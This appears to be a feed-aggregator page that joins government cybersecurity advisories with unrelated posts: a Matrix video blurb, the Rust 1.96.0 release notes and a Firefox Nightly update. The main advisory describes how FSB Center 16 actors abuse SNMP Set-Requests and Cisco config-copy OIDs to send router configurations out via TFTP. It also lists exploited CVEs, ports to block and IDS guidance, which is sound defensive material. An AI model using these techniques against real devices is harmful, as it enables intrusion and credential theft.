This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.
All organizations

The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: 

Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.
Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.

Would you expect connections from consumer broadband ranges?


Leverage available dynamic threat feeds which include covert network infrastructure.
Implement multifactor authentication for remote connections.

Smaller organizations should consider creating and actioning a free NCSC Cyber Action Toolkit. 
Larger or more at-risk organizations


Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  

Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.
Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.
Implement zero trust policies for connections.
Enforce machine certificates for Secure Sockets Layer (SSL) connections.
Reduce the internet-facing presence of the IT estate.
Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. 

The NCSC's Cyber Essentials can help protect organizations of all sizes. 
Largest or most at-risk organizations 
If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.

Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.
Track and map covert networks reported by industry or government by looking at banners and certificates.
Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.
Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. 

The NCSC Cyber Assessment Framework provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  
MITRE ATT&CK® 
This advisory has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. 






Tactic 






ID 






Technique 






Procedure 










Resource Development 






T1584.005 






Compromise Infrastructure: Botnet 






Botnets are used as core components of covert networks 








Resource Development 






T1584.008 






Compromise Infrastructure: Network Devices 






Devices are compromised and added to botnets 








Resource Development 






T1583.003 






Acquire Infrastructure: Virtual Private Server 






Virtual private servers (VPS) are used in covert networks, typically as on-ramps 








Command and Control 






T1090.003 






Proxy: Multi-hop Proxy 






Used by China-nexus cyber actors to route traffic 










 Appendix: Cyber Security Best Practices 
In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. 

Protect your devices and networks by keeping them up to date: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software
Prevent and detect lateral movement in your organization’s networks. See NCSC Guidance: https://www.ncsc.gov.uk/guidance/preventing-lateral-movement
Implement architectural controls for network segregation. See NCSC Guidance: https://www.ncsc.gov.uk/guidance/10-steps-network-security
Set up a security monitoring capability so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes and https://www.ncsc.gov.uk/information/logging-made-easy
Use modern systems and software. These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products
Restrict intruders' ability to move freely around your systems and networks. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: https://www.ncsc.gov.uk/guidance/preventing-lateral-movement and https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security.
Deploy a host-based intrusion detection system. A variety of products are available, free and paid-for, to suit different needs and budgets.
Further information: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks 

Disclaimer  
This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about NCSC assured services. 



This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  


Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.  


All material is UK Crown Copyright © 










Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting
Sat, 25 Jul 2026 08:51:21 +0200
Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors
Executive summary
Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [1] 
This CSA is being released by the following authoring and co-sealing agencies: 

United States National Security Agency (NSA)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Federal Bureau of Investigation (FBI)
United States Department of Defense Cyber Crime Center (DC3)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹ 
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³ 
Estonian Information System Authority (RIA)⁴
Finnish Defence Intelligence (FDI)⁵
Finnish Security and Intelligence Service (SUPO)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
The Military Counterintelligence Service of Poland (SKW)¹⁰
Sweden National Cyber Security Centre (NCSC-SE)¹¹

The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.




  
      




      Figure 1: FSB Center 16 activity and recommended mitigation actions
  
Download the PDF version of this report:

Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting (PDF, 816KB)

Cybersecurity industry tracking 
The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: 

Berserk Bear 
Energetic Bear
Crouching Yeti 
Dragonfly
Ghost Blizzard
Static Tundra

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.
Targeting details
Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:

Communications,
Defense Industrial Base,
Energy,
Financial Services,
Government Services and Facilities, especially organizations at the state and local level, and
Healthcare and Public Health.

Technical details
Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise¹² framework, version 19. See Appendix A for tables of the activity mapped to MITRE ATT&CK tactics and techniques. This advisory also uses MITRE DEFEND^TM version 1.4.0.
The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [T1595.001, T1595.002]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [T1027] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [T1569, T1602.001, T1090]:

Copy its configuration to a file, often called “config.bkp” or “output.txt” [T1003, T1602.002].
Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [T1583.003, T1090, T1071, T1048].

While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [T1584.008, T1588.005, T1190, T1068]: 

CVE-2018-0171
CVE-2008-4128¹³

Many of these TTPs overlap with activity by other malicious cyber actors, such as Salt Typhoon. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.
Mitigation actions
The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:

Disable Cisco Smart Install on all devices [D3-ACH]. [2]
Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [D3-ACH]. [3]

Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.
SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [D3-MAN, D3-MENCR].


Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [D3-CH].

Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [4]
Monitor for unusual credentials that do not conform to standard organizational naming conventions [D3-PM]. 
 Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [3]


Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [D3-ACH]. [5] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [D3-PM].


Example OIDs include:

1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)
1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) 




Restrict management protocols [D3-NTF].

Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [3]
On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:

User Datagram Protocol (UDP) port 69 (TFTP) 
Transmission Control Protocol (TCP) port 4786 (SMI)
UDP ports 161 and 162 (SNMP)
TCP/UDP ports 10161 and 10162 (SNMPv3)




Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. 


Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [D3-NVA].

U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost Cyber Hygiene services.
U.S. Defense Industrial Base organizations should consider signing up for NSA’s DIB Cybersecurity Services.





Resources
United States:

Russia Threat Overview and Advisories
Network Infrastructure Security Guide

Canada:

Routers cyber security best practices (ITSAP.80.019)
Security considerations for edge devices (ITSM.80.101)
Guidance on securely configuring network protocols (ITSP.40.062)
Baseline security requirements for network security zones (ITSP.80.022)
Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)

Works cited
[1] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. https://www.ic3.gov/PSA/2025/PSA250820
[2] NSA. Cisco Smart Install Protocol Misuse. 2017. https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF
[3] NSA. Network Infrastructure Security Guide. 2023. https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF
[4] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF
[5] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF
Footnotes
¹Národní úřad pro kybernetickou a informační bezpečnost
² Forsvarets Efterretningstjeneste
³ Välisluureamet
⁴ Riigi Infosüsteem Amet
⁵ Sotilastiedustelu
⁶ Suojelupoliisi
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Służba Kontrwywiadu Wojskowego
¹¹ Nationellt Cybersäkerhetscenter
¹²MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.
¹³ CVE-2008-4128 only affects end-of-life Cisco devices.
Disclaimer of Endorsement
The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.
Purpose
This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
Contact
United States organizations

National Security Agency (NSA)

Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov


Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI)

 U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s Incident Reporting System, its 24/7 Operations Center (report@cisa.gov or 888-282-0870), or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. 


United States Department of Defense Cyber Crime Center (DC3)  

Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil.
 Media Inquiries / Press Desk: DC3.Information@us.af.mil



Australian organizations

Australian Signals Directorate

Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.



Canadian organizations

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 

Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).



New Zealand organizations

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Italian External Intelligence and Security Agency (AISE): 

Visit https://www.sicurezzanazionale.gov.it/ 


Italian Internal Intelligence and Security Agency (AISI): 

Visit https://www.sicurezzanazionale.gov.it/ 



Appendix A: MITRE ATT&CK tactics and techniques
See Table 1 through Table 10 for all the threat actor tactics and techniques referenced in this advisory.

Table 1: Reconnaissance



Technique Title


ID


Use





Active Scanning: Scanning IP Blocks
T1595.001
Scan range of IP addresses


Active Scanning: Vulnerability Scanning
T1595.002
Scan victims for vulnerabilities that can be used during targeting




Table 2: Resource Development



Technique Title


ID


Use





Acquire Infrastructure: Virtual Private Servers 
T1583.003 
Leverage VPS as infrastructure 


Compromise Infrastructure: Network Devices 
T1584.008 
Compromise intermediate routers 


Obtain Capabilities: Exploits 
T1588.005 
Use publicly available code to exploit vulnerable devices 




Table 3: Initial Access



Technique Title


ID


Use





Exploit Public-Facing Application 
T1190 
Exploit publicly known CVEs 


Proxy
T1090
Use a connection proxy to direct network traffic 




Table 4: Execution



Technique Title


ID


Use





System Services
T1569
Executing commands via SNMP




Table 5: Privilege Escalation



Technique Title


ID


Use





Exploitation for Privilege Escalation
T1068
Exploit publicly known CVEs for escalated privileges




Table 6: Stealth



Technique Title


ID


Use





Obfuscated Files or Information
T1027
Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses




Table 7: Credential Access



Technique Title


ID


Use





OS Credential Dumping
T1003
Collect router configuration with weak Cisco Type 7 passwords and Type 0




Table 8: Collection



Technique Title


ID


Use





Data from Configuration Repository: SNMP (MIB Dump) 
T1602.001 
Target MIB to collect network information via SNMP 


Data from Configuration Repository: Network Device Configuration Dump
T1602.002
Acquire credentials by collecting network device configurations




Table 9: Command and Control



Technique Title


ID


Use





Proxy 
T1090 
Use VPS for C2 


Application Layer Protocol 
T1071 
Open and expose a variety of different services, including TFTP and FTP




Table 10: Exfiltration



Technique Title


ID


Use





Exfiltration Over Alternative Protocol
T1048
Exfiltrating over a different protocol than that of the existing command and control channel. 



Appendix B: MITRE D3FEND countermeasures
See Table 11 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 11: MITRE D3FEND Countermeasures



Countermeasure Title


ID


Description





Application Configuration Hardening
D3-ACH


Use SNMPv3 and disable SNMPv1 and SNMPv2. 
Use SNMP allowlisting to restrict access to OIDs and MIBs. 
Disable Cisco Smart Install.




Message Authentication
D3-MAN


Use SNMPv3 with strong authentication.




Message Encryption
D3-MENCR


Use SNMPv3 to encrypt payloads.




Credential Hardening
D3-CH


Use strong, unique passwords and store them securely.




Platform Monitoring
D3-PM


Monitor for unusual credentials. 
Monitor SNMP Set-Requests for OIDs targeting sensitive device data.




Network Traffic Filtering
D3-NTF


Use ACLs to only allow management protocols from management devices. 
Block TFTP, SMI, and SNMP at edge firewalls.




Network Vulnerability Assessment
D3-NVA


Use an attack surface management service.







Matrix Live S12E12 – Matrix over DMLS
Sat, 25 Jul 2026 08:42:12 +0200
Author: Matrixdotorg - Bewertung: 30x - Views:552 
Matthew gets overexcited about metadata-opaque decentralised MLS with clientside state resolution



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The Rust Programming Language Blog: Announcing Rust 1.96.0
Sat, 25 Jul 2026 08:37:36 +0200
The Rust team is happy to announce a new version of Rust, 1.96.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.96.0 with:
$ rustup update stable
If you don't have it already, you can get rustup from the appropriate page on our website, and check out the detailed release notes for 1.96.0.
If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (rustup default beta) or the nightly channel (rustup default nightly). Please report any bugs you might come across!

What's in 1.96.0 stable

New Range* types
Many users expect Range and related core::ops types to be Copy, but this is not the case: they implement Iterator directly, and it is a footgun to implement both Iterator and Copy on the same type so this has been avoided. RFC3550 proposed a set of replacement range types that implement IntoIterator rather than Iterator, meaning they can also be Copy. The standard library portion of that RFC is now stable, introducing:

core::range::Range
core::range::RangeFrom
core::range::RangeInclusive
Associated iterators

A Rust version in the near future will also add core::range::RangeFull and core::range::RangeTo as re-exports from core::ops (these do not implement Iterator and already implement Copy), and core::range::legacy::* as the new home for the current ranges. Range syntax like 0..1 still produces the legacy types for now, but will be updated to core::range types in a future edition.
With these stabilizations, it is now possible to store slice accessors in Copy types without splitting start and end:
use core::range::Range;

#[derive(Clone, Copy)]
pub struct Span(Range<usize>);

impl Span {
    pub fn of(self, s: &str) -> &str {
        &s[self.0]
    }
}
The new RangeInclusive also makes its fields public, unlike the legacy version which avoided exposing the exhausted iterator state. This isn't a concern with the new type since it must be converted to begin iteration.
Library authors should consider making use of impl RangeBounds in public API, which accepts both legacy and new range types. If a concrete type is needed, prefer using new ranges as this will eventually become the default.

Assert matching patterns
The new macros assert_matches! and debug_assert_matches! check that a value matches a given pattern, panicking with a Debug representation of the value otherwise. These are essentially the same as assert!(matches!(..)) and debug_assert!(matches!(..)), but the printed value improves the possibility of diagnosing the failure.
These new macros have not been added to the standard prelude, because they would collide with popular third-party crates that provide macros with the same name. Instead, they should be manually imported from core or std before use.
use core::assert_matches;

/// [Random Number](https://xkcd.com/221/)
fn get_random_number() -> u32 {
    // chosen by a fair dice roll.
    // guaranteed to be random.
    4
}

fn main() {
    assert_matches!(get_random_number(), 1..=6);
}

Changes to WebAssembly targets
WebAssembly targets no longer pass --allow-undefined to the linker which means that undefined symbols when linking are now a linker error instead of being converted to WebAssembly imports from the "env" module. This change prevents modules from linking unless all linking-related symbols are defined to catch bugs earlier and prevent accidental issues with symbol naming or similar.
Undefined linking-related symbols are often indicative of build-time related bugs or misconfiguration. If, however, the old behavior is intended then it can be re-enabled with RUSTFLAGS=-Clink-arg=--allow-undefined or by editing the source code and using #[link(wasm_import_module = "env")] on the block defining the symbol.
This change was previously announced on this blog, and now takes effect in Rust 1.96.

Stabilized APIs

assert_matches!
debug_assert_matches!
From for AssertUnwindSafe
From for LazyCell
From for LazyLock
core::range::RangeToInclusive
core::range::RangeFrom
core::range::RangeFromIter
core::range::Range
core::range::RangeIter


Two Cargo advisories
Rust 1.96 contains fixes for two vulnerabilities for users of third-party registries.


CVE-2026-5223 is a medium severity vulnerability regarding extraction of crate tarballs with symlinks.


CVE-2026-5222 is a low severity vulnerability regarding authentication with normalized URLs.


Users of crates.io are not affected by either vulnerability.

Other changes
Check out everything that changed in Rust, Cargo, and Clippy.

Contributors to 1.96.0
Many people came together to create Rust 1.96.0. We couldn't have done it without all of you. Thanks!


Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202
Sat, 25 Jul 2026 08:37:35 +0200
Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.
You will be able to manage this feature in Settings under Sync (for now)




You can read more about the feature here


As followups to the recent addition to the WebExtension tabs API to support the new SplitView tabs feature, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window – Bug 2029099 / Bug 2029534
Adaptive autofill has been enabled on Nightly.

Previously, autofill only completed domains (e.g. typing red autofilled reddit.com). Now it can also complete full URLs for pages you visit often (e.g. red → reddit.com/r/firefox), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.

If you run into issues or have feedback, you can file a bug here!




Markus Stange [:mstange] implemented dynamic toolbar on top in RDM (#1978145), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android

dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled
it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom




Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

Amin Amir
aoia7rz7l
Chukwuka Rosemary
DrSeed
Frédéric Wang Nélar
japandi
John Iweh
jonathancabera
Josh Aas
Keji Bakare
kofoworola shonuyi
konyhéa
liz
Mathew Hodson
Okhuomon Ajayi
Oluwatobi
ROSHAAN
Sam Johnson

New contributors (🌟 = first patch)

 Anthony Mclamb: Disable the legacy Edge migrator
 Amin Amir

🌟Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled
Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs
🌟 Amine Zroual: Omitted maxResults property not handled correctly in getRecentlyClosed


any1here: install_sig_alt_stack incorrectly checks mmap’s return value
🌟 Armin Ulrich: Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument
japandi

Cannot remove amazon.com from top sites list
The height of the pinned tabs area should be responsive to the number of pins
Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations


Nathan Johnson [:narjoDev]: Remove browser.display.use_system_colors pref
DrSeed

Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting
The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again


Keji Bakare:

Split view’s focus-outline is clipped on the right side of left tab
White space on the right side of left panel in split view


🌟 gotyaoi: Reload toolbar button is active on about:newtab
Itoro James: [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it
John Iweh: The notification dot is not displayed if the tab is in a Split View
🌟 John Iweh: sidebar-shown attribute remains when sidebar.revamp is false
🌟 jonathancabera:

The Move tab to Split View option is also displayed for the tabs that are within the Split View
A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled
Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode


Aloys: Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67
liz:

Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View
Button accessible name does not convey its function: missing topic context (Settings dialog > Topics dialog > buttons Following/Unfollow/Blocked/Unblock)


Mary cathline: Tab Group Label does not respect touch density in vertical tab bar
🌟 Brandon Lucier: Popups opened with window.open give window type normal instead of popup
karan68: [dialog] New Shortcut dialog needs a label/accessible name
🌟 Vector: Button does not programmatically indicate that it opens a dialog (Recent activity section > story card > ••• disclosure > Delete from History button)
🌟 Osoble: Update font size and weight for synced tabs device name headers in Firefox View
konyhéa:

Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js
Check all second paramaters for TestUtils.waitForCondition in Fx View test files
Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.


Noble Chinonso: #shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled
Pranjali Srivastava: Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)
Okhuomon Ajayi:

More spacing is needed between the tab note icon and the close icon on the tab
The tabs in vertical mode collapsed state are positioned differently in Split View
Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled
Vertical split view tabs can be too big or small when tabs are overflowing


🌟 Rishan: Fix duplicated arrow function in browser_history_sidebar.js
Chukwuka Rosemary:

“Forget About This Site” context menu option missing from Firefox View history
Long strings are not displayed properly on the about:opentabs page search filed
Add test for Forget This Site option in Fxview history context menu.


ROSHAAN:

🌟Tab note background colour is incorrect for default light theme
 [win/linux] The splitter between content areas does not match Figma spec
Fix typo in OpenInTabsUtils.confirmOpenInTabs()


Sameeksha: Disclosure button expanded/collapsed state not programmatically defined (Customize button)
kofoworola shonuyi:

🌟Actually hide or remove sidebar-shown attribute when in fullscreen.
Add a test for checking sidebar-shown attribute in fullscreen mode


🌟 Sayd Mateen: Page URL is displayed as tab name when page’s contains about:reader?
 


Oluwatobi:

Unable to delete selected history entries from sidebar
Incorrect Sidebar button state/tooltip hover text
The city name heading level doesn’t follow the correct heading level order


Nishchay [:nish]: Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)

 
Project Updates
Add-ons / Web Extensions
Addon Manager & about:addons

In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) – Bug 2032014

NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes



WebExtensions Framework

Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors – Bug 2033173

Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!


Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail – Bug 2034329

Thanks to Simon Farre for promptly investigating and fixing this recent regression!



WebExtension APIs

Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted – Bug 1392125

Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!



DevTools

Artem Manushenkov fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (#1983408)
Andrea Marchesini [:baku] fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (#2031299)
Julian Descottes [:jdescottes] fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (#2028930)
Nicolas Chevobbe [:nchevobbe] improved @container tooltip so it show the value of variables used in style()(#2030239), has enough contrast in dark mode (#2033782) and contains a link to select the container (#2031688)




Hubert Boma Manilla (:bomsy) is making good progress on migrating the Console to CodeMirror 6 (#2032758, #2026569)

Fluent

We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!


Migration Improvements

Thanks to dao for fixing a recent alignment issue in the migration wizard dropdown
Thanks to volunteer contributor Anthony Mclamb for his patch that disables the legacy EdgeHTML Edge migrator! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.

New Tab Page

Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th

It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.


Maxx Crawford enabled Nova designs for New Tab, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.
Maxx Crawford fixed the Nova content feed to render the intended four‑column layout by correcting CSS grid breakpoints.
